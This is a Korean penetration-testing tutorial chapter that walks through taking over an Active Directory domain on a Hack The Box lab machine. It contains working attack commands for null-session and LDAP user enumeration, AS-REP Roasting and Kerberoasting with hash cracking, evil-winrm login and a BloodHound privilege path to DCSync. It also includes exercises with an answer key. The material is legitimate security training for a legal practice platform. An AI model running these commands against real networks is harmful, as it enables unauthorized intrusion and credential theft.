Step 271. HTB AD 트랙 머신 1대 — 도메인 장악의 표준 루트
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 1~2일
전제: Step 261(AD 구조), Step 262(Kerberoasting·AS-REP), Step 263(Pass-the-Hash·BloodHound)를 마쳤다. HTB Easy·Medium 경험이 있다.
- 준비물: HTB 계정과 VPN 연결, 공격 머신(Kali 권장 — Impacket·BloodHound 도구 내장), 개인 위키.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. Hack The Box(
hackthebox.com)는 운영자가 공격 연습용으로 공식 개방한 합법 학습 플랫폼입니다 — HTB 머신 외에는 오늘의 기술을 쓰지 않습니다. - 화면 안내: 이 챕터의 HTB 접속 화면과 명령 출력은 전부 화면 예시입니다. 실제 접속과 풀이는 여러분이 직접 합니다.
Step 261~263에서 Active Directory의 부품을 하나씩 배웠습니다 — 도메인 구조, Kerberoasting, AS-REP Roasting, Pass-the-Hash, BloodHound. 오늘은 그 부품들을 실제 도메인 머신 앞에서 한 줄의 경로로 조립하는 날입니다.
AD 머신에는 표준 흐름이 있습니다: 초기 자격증명 확보 → 도메인 열거 → Roasting → 계정 이동 → 권한 경로 추적 → Domain Admin. 이 루트를 한 대에서 온전히 걸어 보는 것이 오늘의 목표입니다. Forest, Sauna, Active 같은 입문 AD 머신이 이 루트의 교과서입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- AD 머신의 스캔 결과(SMB·LDAP·Kerberos 포트)를 읽고 도메인 환경임을 판별한다
- SMB 널 세션과 LDAP 익명 조회로 사용자 목록을 수집한다
- Kerberoasting/AS-REP Roasting으로 첫 계정 비밀번호를 획득한다
- 획득한 계정으로
evil-winrm접속 후 BloodHound로 DA 경로를 파악한다 - 계정을 얻을 때마다 권한을 확인하고, 전체 경로를 그래프 위에 정리한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | HTB 플랫폼(VPN) + Kali 공격 머신(Impacket, BloodHound, evil-winrm) |
| 오늘의 명령 | crackmapexec smb, ldapsearch, GetNPUsers.py, GetUserSPNs.py, bloodhound-python, evil-winrm, net user 계정 /domain |
| 필요한 개념 | 널 세션, 도메인 열거, SPN과 Roasting, 티어 이동, Domain Admin 경로 |
| 오늘의 산출물 | AD 머신 도메인 장악 + BloodHound 그래프 위 경로 주석 |
2-1. AD 머신의 판별 — 포트가 말해 준다
일반 머신과 AD 머신은 스캔 첫 화면에서부터 다릅니다. 도메인 컨트롤러(DC)는 독특한 포트 조합을 열어 둡니다 (화면 예시):
PORT STATE SERVICE
53/tcp open domain ← 도메인 DNS
88/tcp open kerberos-sec ← Kerberos 인증
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap ← 디렉터리 조회
445/tcp open microsoft-ds ← SMB
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
88(Kerberos)과 389(LDAP)가 함께 열려 있으면 AD입니다. 이 조합을 본 순간 머릿속 루틴이 "일반 머신"에서 "도메인"으로 전환되어야 합니다 — 웹 디렉터리 스캔보다 사용자 목록 수집이 먼저입니다.
2-2. 초기 자격증명의 세 가지 출처
AD 머신의 첫 고리는 대부분 셋 중 하나입니다.
| 출처 | 방법 | 비고 |
|---|---|---|
| SMB 널 세션 | 인증 없이 공유 폴더 열기 | smbclient -N -L //대상/ — 방치된 공유에 설정 파일·스크립트가 있곤 함 |
| LDAP 익명 조회 | 인증 없이 디렉터리 조회 | 사용자 목록·그룹·설명 필드 노출 |
| 웹/기타 취약점 | 일반 웹 머신과 동일 | 웹에서 얻은 자격증명이 도메인 계정인 경우 |
그리고 특이한 출처 하나 — 사용자 목록 자체가 자격증명이 되는 경우가 있습니다. AS-REP Roasting은 비밀번호 없이도 사용자 이름만으로 공격 가능하니까요(Step 262 복습).
2-3. Roasting → 이동 → 경로 추적의 표준 루트
첫 계정을 얻는 대표 경로는 두 갈래입니다.
- AS-REP Roasting: "사전 인증 불필요" 설정된 계정의 인증 응답을 받아 오프라인 크래킹. 사용자 목록만 있으면 됩니다.
- Kerberoasting: 유효한 도메인 계정 하나로 SPN이 달린 서비스 계정의 티켓을 요청해 오프라인 크래킹.
첫 계정으로 접속(evil-winrm)한 뒤에는 지도가 필요합니다. 도메인 안에서 "누가 어디의 관리자인가"는 수백 개의 관계로 얽혀 있어서, 머리로 추적하면 반드시 길을 잃습니다. BloodHound가 그 관계를 그래프로 그려 줍니다 — 수집기로 데이터를 긁고, 그래프에서 "현재 계정 → Domain Admin" 최단 경로를 찾는 것이 표준 절차입니다(Step 263).
2-4. AD의 헷갈림 방지 습관 — 계정 장부
AD 머신에서 가장 흔한 혼란은 "지금 이 셸이 어느 계정이고, 이 계정이 어디까지 가능한가"를 잊는 것입니다. 계정을 획득할 때마다 두 가지를 즉시 기록하세요.
net user 계정명 /domain
- 그 계정의 그룹(무엇의 구성원인가)
- 자산 목록(Step 269)에 "계정: 권한: 획득 경로" 한 줄
이 장부가 없으면 "분명 관리자 권한이 있는 계정을 얻었는데" 같은 착각 속에서 몇 시간을 태우게 됩니다. 계정이 곧 자산이고, 권한 확인이 곧 자산 평가입니다.
3. 따라 하기
3-1. AD 머신 선정과 도메인 판별
HTB에서 AD 태그가 붙은 입문 머신을 고릅니다 — Forest, Sauna, Active가 전형적인 교과서입니다. 배포 후 첫 스캔 (화면 예시):
nmap -sV -sC 10.10.10.161
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds ...
|_ 도메인: htb.local
읽는 법: 88 + 389 조합, 그리고 스캔이 알려 주는 도메인 이름(htb.local)을 /etc/hosts에 등록해 둡니다 — Kerberos 도구들은 IP보다 도메인 이름으로 잘 동작합니다.
echo "10.10.10.161 htb.local forest.htb.local" | sudo tee -a /etc/hosts
3-2. 초기 열거 — 널 세션과 익명 조회
SMB 널 세션 확인 (화면 예시):
crackmapexec smb 10.10.10.161 -u '' -p '' --shares
smbclient -N -L //10.10.10.161/
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk 원격 관리
C$ Disk 기본 공유
IPC$ IPC 원격 IPC
NETLOGON Disk 로그온 서버 공유
SYSVOL Disk 로그온 서버 공유
LDAP 익명 조회로 사용자 수집 (화면 예시):
ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" \
"(objectClass=user)" sAMAccountName | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: svc-alfresco
sAMAccountName: sebastien
...
왜 하는가: 사용자 목록은 AD 공략의 원유입니다. 이 목록이 곧 AS-REP Roasting의 입력이고, 비밀번호 스프레이의 입력이고, BloodHound 경로의 출발점입니다. 목록은 반드시 파일로 저장하세요 — users.txt.
3-3. 첫 계정 획득 — AS-REP / Kerberoasting
AS-REP Roasting — 사용자 목록만으로 시도 (화면 예시):
impacket-GetNPUsers htb.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a1b2c3...(해시)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice
Kerberoasting — 유효한 계정이 이미 있을 때 (화면 예시):
impacket-GetUserSPNs htb.local/sebastien:'비밀번호' -request -outputfile spn.txt
hashcat -m 13100 spn.txt /usr/share/wordlists/rockyou.txt
읽는 법: 둘의 차이를 정확히 기억하세요 — AS-REP은 계정 0개에서 시작 가능(사전 인증 불필요 계정 필요), Kerberoasting은 유효 계정 1개가 필요(SPN 달린 계정이 표적). 머신이 어느 쪽 문을 열어 뒀는지는 시도해 봐야 압니다. 둘 다 해시를 오프라인으로 크래킹하므로 대상에 흔적이 적습니다.
3-4. 접속과 권한 확인
크래킹된 자격증명으로 접속합니다 (화면 예시):
evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\> net user svc-alfresco /domain
...
그룹 구성원 *Domain Users *Service Accounts
user.txt를 읽고, 즉시 계정 장부에 기록합니다 — "svc-alfresco: Domain Users + Service Accounts: AS-REP 크래킹으로 획득".
3-5. BloodHound — DA 경로 찾기
공격 머신에서 수집기를 돌립니다 (화면 예시):
bloodhound-python -d htb.local -u svc-alfresco -p 's3rvice' \
-ns 10.10.10.161 -c All --zip
생성된 zip을 BloodHound GUI에 불러오고, 쿼리를 실행합니다 — "Shortest Paths to Domain Admins from Owned Principals". svc-alfresco를 "Owned"로 표시하면 현재 위치에서 DA까지의 경로가 그래프로 나타납니다 (화면 예시):
SVC-ALFRESCO@HTB.LOCAL
--[GenericAll]--> SERVICE-ACCOUNTS 그룹
--[WriteDacl]--> EXCHANGE TRUSTED SUBSYSTEM
--[DCSync]--> HTB.LOCAL (도메인)
읽는 법: 화살표 하나가 "권한 하나"입니다. GenericAll은 대상을 완전히 제어, WriteDacl은 권한을 수정 가능, DCSync는 도메인의 모든 비밀번호 해시를 복제할 수 있는 권한. 경로의 각 화살표를 "어떻게 밟는가"로 번역하는 것이 남은 공략입니다 — 각 권한의 구체적 이용법은 Step 263에서 다뤘습니다.
3-6. 경로대로 이동과 정리
그래프의 화살표를 하나씩 실행합니다 — 계정 추가, 권한 부여, Pass-the-Hash(Step 263), 토큰 탈취 등 경로가 요구하는 기법으로. 계정이 바뀔 때마다 반복하세요: 접속 → whoami → net user /domain → 장부 기록.
Domain Admin에 도달해 root.txt(DC의 Administrator 바탕화면)를 읽으면 도메인 장악입니다. 마지막으로 전체 경로를 BloodHound 그래프 위에 주석으로 정리합니다 — 각 화살표 위에 "내가 실제로 쓴 명령 한 줄"을 적어 위키에 붙이세요. 이 문서가 다음 AD 머신의 출발점이 됩니다.
4. 미션과 연습문제
미션 — AD 머신 도메인 장악
- HTB AD 트랙 입문 머신 1대(Forest·Sauna·Active 등)를 골라 배포한다
- 널 세션/익명 조회로 사용자 목록을 수집해
users.txt로 저장한다 - Roasting 계열로 첫 계정을 획득하고
evil-winrm으로 접속한다 - BloodHound 수집·분석으로 DA 경로를 파악하고 경로대로 이동한다
- 도메인 장악 후, 그래프 위에 실제 사용 명령을 주석으로 단 경로 문서를 위키에 남긴다
연습문제
문제 1. 스캔 결과에서 AD 머신임을 알려 주는 포트 조합 두 개와 그 이유를 말해 보세요.
문제 2. AS-REP Roasting과 Kerberoasting의 전제 조건 차이를 설명해 보세요.
문제 3. 계정을 획득할 때마다 net user 계정 /domain을 확인하는 습관이 왜 필요한지 설명해 보세요.
문제 4. BloodHound 경로의 화살표 하나가 의미하는 것과, 그 화살표를 "밟는다"는 것의 뜻을 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
입문 AD 머신의 표준 루트는 3-1~3-6의 흐름입니다: 도메인 판별 → 사용자 수집 → AS-REP 또는 Kerberoasting → 첫 접속 → BloodHound 경로 → 이동 → DA. 완료의 증거는 root.txt와 경로 주석 문서입니다.
검증하는 법: ① users.txt가 파일로 존재하는가. ② 첫 계정의 획득 방법(AS-REP? Kerberoasting? 널 세션?)을 문장으로 말할 수 있는가. ③ 계정 장부에 각 계정의 그룹과 획득 경로가 있는가. ④ 경로 주석 문서의 각 화살표에 실제 명령이 적혀 있는가. ⑤ DA 도달까지 밟은 권한 화살표의 개수를 셀 수 있는가.
연습문제 해답
문제 1 해답. 88번(Kerberos)과 389번(LDAP)이 함께 열려 있으면 AD입니다. Kerberos는 도메인 인증 프로토콜이고 LDAP은 디렉터리 조회 프로토콜로, 둘 다 도메인 컨트롤러의 핵심 서비스이기 때문입니다. 여기에 53(도메인 DNS), 636(LDAPS), 3268(글로벌 카탈로그)까지 보이면 확실합니다.
문제 2 해답. AS-REP Roasting은 유효한 자격증명이 없어도 됩니다 — 사용자 이름 목록만으로 "사전 인증 불필요"가 켜진 계정의 인증 응답을 받아 크래킹합니다. Kerberoasting은 유효한 도메인 계정 하나가 먼저 필요하고, 그 계정으로 SPN이 달린 서비스 계정의 티켓을 요청해 크래킹합니다. 즉 AS-REP은 0계정에서, Kerberoasting은 1계정에서 출발합니다.
문제 3 해답. AD에서는 계정마다 가능한 범위가 다르고, 그 범위(그룹 구성원)가 다음 행동을 결정하기 때문입니다. 확인 없이 진행하면 "이 계정으로 될 것"이라는 착각 속에서 시간을 태우게 됩니다. 획득 즉시 그룹을 확인해 장부에 적어 두면, BloodHound 경로의 "현재 위치"가 항상 정확해집니다.
문제 4 해답. 화살표 하나는 "한 개의 권한 관계"입니다 — 예컨대 A가 B에 대해 GenericAll을 가진다는 뜻은 A가 B를 완전히 제어할 수 있다는 것입니다. 화살표를 "밟는다"는 것은 그 권한을 실제로 행사하는 구체적 기법을 실행하는 것입니다 — 예: GenericAll이라면 대상 계정의 비밀번호를 리셋하거나 SPN을 심어 Kerberoasting하는 식입니다.
완료 기준 체크리스트
- [ ] 88/389 포트 조합으로 AD 머신을 판별할 수 있다
- [ ] 도메인 이름을
/etc/hosts에 등록하고 도구에 사용했다 - [ ] SMB 널 세션과 LDAP 익명 조회로 사용자 목록을 수집했다
- [ ] AS-REP Roasting과 Kerberoasting의 전제 차이를 설명할 수 있다
- [ ] 첫 계정으로
evil-winrm접속 후 권한을 확인하고 장부에 기록했다 - [ ] BloodHound로 DA 경로를 파악하고 경로대로 이동했다
- [ ] 미션: 도메인 장악 + 그래프 위 경로 주석 문서를 완성했다
6. 흔한 실수와 해결
벽 1. Kerberos 도구가 KDC can't be contacted 에러를 낸다
증상: GetNPUsers 실행 시 KDC Error: Cannot contact any KDC 류의 메시지가 납니다.
원인: 도메인 이름을 IP로 해석하지 못하고 있습니다. Kerberos 도구는 도메인 이름으로 KDC를 찾습니다.
해결: /etc/hosts에 대상IP 도메인명을 등록했는지 확인하세요 (3-1). 이름으로 ping이 되는지 먼저 점검하면 빠릅니다.
벽 2. 널 세션이 막혀 있다 — STATUS_ACCESS_DENIED
증상: smbclient -N -L //대상/이 접근 거부로 실패합니다.
원인: 모든 AD 머신이 널 세션을 허용하는 것은 아닙니다. 입문 머신 중에도 정책으로 막은 경우가 있습니다.
해결: 이것은 실패가 아니라 정보입니다 — "이 머신의 첫 고리는 SMB가 아니다". LDAP 익명 조회, AS-REP, 웹 표면으로 자산 탐색을 옮기세요. 막힌 문도 자산 목록에 "시도: 실패"로 기록합니다.
벽 3. 해시를 얻었는데 hashcat이 못 깬다
증상: 크래킹이 한 시간째 Exhausted 없이 진행되거나, 아예 형식 오류가 납니다.
원인 둘 — 워드리스트가 얕거나, 해시 형식(-m 번호)이 틀렸거나. AS-REP은 -m 18200, Kerberoasting은 -m 13100입니다.
해결: 형식 번호를 먼저 확인하고, rockyou가 안 되면 규칙(-r)을 얹거나 더 큰 워드리스트로 넓히세요. 단, 입문 머신은 대부분 rockyou 안에 있습니다 — 안 깨지면 형식을 의심하는 것이 순서입니다.
벽 4. BloodHound에서 경로가 안 나온다
증상: "Shortest Paths" 쿼리가 빈 결과를 줍니다.
원인 셋 중 하나 — 수집이 불완전하거나(-c All 누락), 현재 계정을 "Owned"로 표시하지 않았거나, 정말로 이 계정에서는 경로가 없거나.
해결: ① 수집기를 -c All로 다시 ② 그래프에서 내 계정 노드를 찾아 우클릭 → "Mark as Owned" ③ 그래도 없으면 다른 계정 노드에서의 경로를 보고 "그 계정을 먼저 얻는 방법"을 찾습니다 — 경로가 없는 것도 정보입니다.
벽 5. 어느 계정의 셸인지 헷갈려 같은 곳을 맴돈다
증상: 터미널 세 개가 열려 있고, 어느 창이 어느 계정인지 모르겠습니다.
원인: 계정 장부 없이 동시에 여러 계정으로 작업했습니다.
해결: 모든 창을 닫고 정리부터 하세요 — 장부에 지금까지 획득한 계정과 권한을 적고, 창을 다시 열 때는 하나씩, 열 때마다 whoami를 습관으로. AD 머신의 절반의 실수는 기술이 아니라 위치 상실입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| AD 표준 루트 | 초기 자격증명 → 도메인 열거 → Roasting → 계정 이동 → 경로 추적 → DA |
| 널 세션 | 인증 없이 여는 SMB 세션. 방치된 공유가 첫 자격증명의 출처 |
| LDAP 익명 조회 | 인증 없이 디렉터리를 조회해 사용자·그룹 목록 수집 |
| AS-REP Roasting | 사전 인증 불필요 계정의 응답을 받아 오프라인 크래킹 — 0계정 출발 |
| Kerberoasting | 유효 계정으로 SPN 티켓을 받아 오프라인 크래킹 — 1계정 출발 |
| 계정 장부 | 계정·그룹·획득 경로의 기록. AD 위치 상실 방지 |
| DA 경로 | BloodHound 그래프의 현재 계정 → Domain Admin 화살표 사슬 |
오늘의 명령
| 명령 | 용도 |
|---|---|
nmap -sV -sC 대상 |
88/389 조합으로 AD 판별 |
echo "IP 도메인" | sudo tee -a /etc/hosts |
Kerberos 도구용 이름 해석 등록 |
smbclient -N -L //대상/ |
SMB 널 세션 공유 목록 |
ldapsearch -x -H ldap://대상 -b "DC=...,DC=..." "(objectClass=user)" sAMAccountName |
사용자 목록 수집 |
impacket-GetNPUsers 도메인/ -usersfile users.txt |
AS-REP Roasting |
impacket-GetUserSPNs 도메인/계정:비밀번호 -request |
Kerberoasting |
hashcat -m 18200 / 13100 |
AS-REP / Kerberos 티켓 해시 크래킹 |
evil-winrm -i 대상 -u 계정 -p 비밀번호 |
WinRM 접속 |
net user 계정 /domain |
계정의 그룹·권한 확인 |
bloodhound-python -d 도메인 -u 계정 -p 비번 -ns 대상 -c All --zip |
BloodHound 데이터 수집 |
명령어보다 중요한 감각
AD 공략은 기술 싸움이라기보다 지도 싸움입니다. 개별 기법은 Step 261~263에서 이미 배웠고, 오늘의 진짜 기술은 "지금 내가 지도의 어디에 있는가"를 항상 아는 것입니다. 계정 장부와 BloodHound는 그 지도의 두 축입니다. 그리고 이 루트는 HTB를 넘어 실제 침투 테스트의 AD 절차와 거의 같습니다 — 오늘 걸은 길이 이력서의 한 줄이 되는 날이 생각보다 가깝습니다.
전부 체크되면 Step 271 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.